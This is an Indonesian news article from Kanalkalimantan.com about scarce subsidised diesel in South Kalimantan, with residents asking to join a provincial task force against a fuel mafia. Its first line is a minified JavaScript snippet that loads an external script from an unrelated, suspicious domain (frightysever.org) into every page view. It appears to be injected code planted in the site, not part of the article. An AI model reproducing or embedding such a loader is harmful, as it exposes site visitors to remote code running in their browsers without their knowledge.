(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Masyarakat Minta Dilibatkan Menjadi Satgas Migas, Ini Alasannya


KANALKALIMANTAN.COM, BANJARMASIN– Tata kelola distribusi Bahan Bakar Minyak (BBM) di Kalimantan Selatan (Kalsel) masih dipertanyakan. Mulai dari BBM bersubsidi jenis solar yang langka dikeluhkan para sopir truk hingga indikasi adanya mafia migas.

Aktivis Kalsel yang juga Direktur LSM KPK-APP Aliansyah menegaskan, bahwa 50 persen SPBU yang ada di Kalsel mendistribusikan BBM ke pihak penambang.

Padahal, sambung Aliansyah, BBM bersubsidi jenis solar yang dikeluhkan para sopir truk itu adalah pengangkut kebutuhan pokok masyarakat. Akan sangat fatal jika masih mengalami kelangkaan.

“Ini harus diawasi jangan sampai solar yang seharusnya untuk rakyat itu digunakan untuk tambang, Jangan lagi angkutan bahan pokok kita dari pelabuhan ke kabupaten/kota itu tidak bisa  mendapatkan solar, itu fatal,” pungkas Aliansyah.

 

Baca juga  : Tuntutan Tolak Kenaikan BBM, Langkah Dewan Perlu Dikawal Tuntas Agar Tak Sekadar Formalitas!

Kurangnya subsidi BBM Kalsel memberikan peluang bagi para mafia migas untuk mengeruk keuntungan. Hal itu disampaikan para aliansi masyarakat yang beraudiensi di Kantor DPRD Kalsel, Selasa (13/9/2022) kemarin.

Aliansi masyarakat yang mengatakan bahwa dalam satgas migas tersebut tentu harus melibatkan masyarakat di dalamnya.

“Kita sepakat dengan kenaikan kuota BBM cuman harus digaris bawahi kita sangat mendorong pembentukan satgas mafia migas ini DPRD Kalsel bersama Kepolisian dan Pertamina tegas melibatkan kami sebagai satgas untuk turun ke masyarakat memberantas mafia migas,” ujar Khairul Umam, perwakilan pengunjukrasa soal BBM.

Sebelumnya, Ketua DPRD Supian HK bersama Ketua Komisi III DPRD Kalimantan Selatan (Kalsel) H Hasanuddin Murad SH sepakat untuk menambah kuota pendistribusian BBM, serta mengaktifkan kembali Satuan Tugas (Satgas) Migas.

 

Baca juga : Ricuh Demo Tolak BBM di Banjamasin, Begini Kata Korlap hingga Kapolresta Banjarmasin

“Kita sudah ke BPH Migas untuk mengusulkan kenaikan kuota BBM kalsel, begitupun dengan data data SPBU yang melangsir, yang masyarakat belum dapat kami sudah datangi,” ungkap H Hasanuddin Murad.

Dirinya pun juga menegaskan sudah melakukan rapat berkali-kali dengan BPH Migas hingga PT Pertamina untuk menyampaikan pendistribusian BBM tersebut agar tepat sasaran.

“Kita juga sudah rapat berkali kali dengan pertamina jadi bukan sekali dua saja, kita sampaikan bahwa barang barang subsidi ini jangan sampe salah yang menerimanya,” dalihnya.
(Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.